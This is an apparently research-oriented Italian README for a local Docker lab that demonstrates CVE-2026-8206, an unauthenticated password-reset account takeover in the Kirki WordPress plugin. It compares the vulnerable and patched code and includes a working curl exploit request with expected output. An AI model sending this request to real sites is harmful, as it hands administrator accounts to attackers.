
Laboratorio Docker locale che dimostra CVE-2026-8206, acquisizione di account non autenticata nel plugin Kirki per WordPress. Confronta la versione vulnerabile 6.0.6 con la versione corretta 6.0.7, con script PoC e verifica delle email catturate.
Laboratorio Docker locale per dimostrare CVE-2026-8206 nel plugin WordPress Kirki.
Questo repository confronta le versioni reali del plugin Kirki:
vuln: Kirki 6.0.6patched: Kirki 6.0.7Il laboratorio è solo locale e vincola i servizi WordPress a 127.0.0.1.
Il PoC è a minimo danno: richiede un reset della password e verifica il destinatario dell'email catturata all'interno del laboratorio. Non modifica alcuna password.
CVE-2026-8206 è una vulnerabilità di account takeover / escalation dei privilegi non autenticata nelle versioni 6.0.0 fino a 6.0.6 di Kirki.
Il gestore vulnerabile del reset della password crea una chiave di reset per un utente WordPress reale selezionato tramite , ma invia l'email di reset a un indirizzo email arbitrario fornito nella richiesta.
usernameIn questo laboratorio:
vulnerable => reset link for admin is sent to [email protected]
patched => mismatched email is rejected and no reset email is sent to [email protected]
6.0.0 a 6.0.66.0.7/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password
Il gestore vulnerabile è:
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php
Kirki legge l'email fornita dall'attaccante dal corpo della richiesta:
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';
Successivamente risolve l'utente WordPress target tramite username e crea una chiave di reset della password per quell'utente:
$key = get_password_reset_key( $user );
Ma l'email di reset finale viene inviata all'$email fornita nella richiesta:
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
Questo rompe il confine di fiducia tra l'identità dell'account e il destinatario dell'email di reset. Un richiedente non autenticato può fornire:
username=admin
[email protected]
La chiave di reset appartiene a admin, ma l'email viene consegnata all'indirizzo controllato dall'attaccante.
Kirki 6.0.7 verifica che l'email fornita corrisponda all'email registrata dell'utente risolto, quindi forza il destinatario all'email dell'account prima di inviare:
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
// reject request
}
$email = $user_email;
$sent = wp_mail( $email, $email_subject, $email_body, $headers );
| Servizio | Scopo | URL Host |
|---|---|---|
vuln | WordPress + Kirki 6.0.6 | http://127.0.0.1:8081 |
patched | WordPress + Kirki 6.0.7 | http://127.0.0.1:8082 |
db_vuln | MySQL per WordPress vulnerabile | Solo rete Docker |
db_patched | MySQL per WordPress corretto | Solo rete Docker |
wpcli_vuln | Inizializza WordPress vulnerabile | configurazione una tantum |
wpcli_patched | Inizializza WordPress corretto | configurazione una tantum |
La posta locale viene catturata in file invece di essere inviata esternamente:
artifacts/vuln-mail/
artifacts/patched-mail/
Il laboratorio utilizza versioni reali del plugin Kirki installate con WP-CLI. Il sorgente del plugin non è modificato.
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── docker/
│ ├── capture-mail
│ └── mail-capture.ini
├── scripts/
│ └── setup-wordpress.sh
├── poc/
│ ├── poc_local.py
│ └── run_lab_poc.sh
├── docs/
│ └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore
requestsInstalla la dipendenza Python se necessario:
python3 -m pip install requests
Avvia i container:
docker compose up -d --build
Inizializza entrambe le istanze WordPress:
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched
Esegui il PoC:
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh
Risultato atteso:
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
To: [email protected]
Subject: CVE-2026-8206 local lab proof
Questo dimostra che la versione vulnerabile ha inviato un'email di reset della password per l'account target all'indirizzo controllato dall'attaccante.
Risultato atteso:
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER
Questo dimostra che la versione corretta rifiuta la discordanza tra username ed email e non invia l'email di reset all'indirizzo controllato dall'attaccante.
Crea il nonce corretto dell'elemento Kirki all'interno del laboratorio vulnerabile:
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"
Invia una richiesta solo locale al servizio vulnerabile:
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
-H "X-WP-Element-Nonce: $NONCE" \
-d "username=admin" \
-d "[email protected]" \
--data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
--data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'
Controlla la posta catturata:
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/
Evidenza vulnerabile attesa:
To: [email protected]
... action=rp ... login=admin ...
Questo laboratorio è destinato esclusivamente alla ricerca sulla sicurezza locale e alla dimostrazione del portfolio.
Salvaguardie:
127.0.0.1.docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail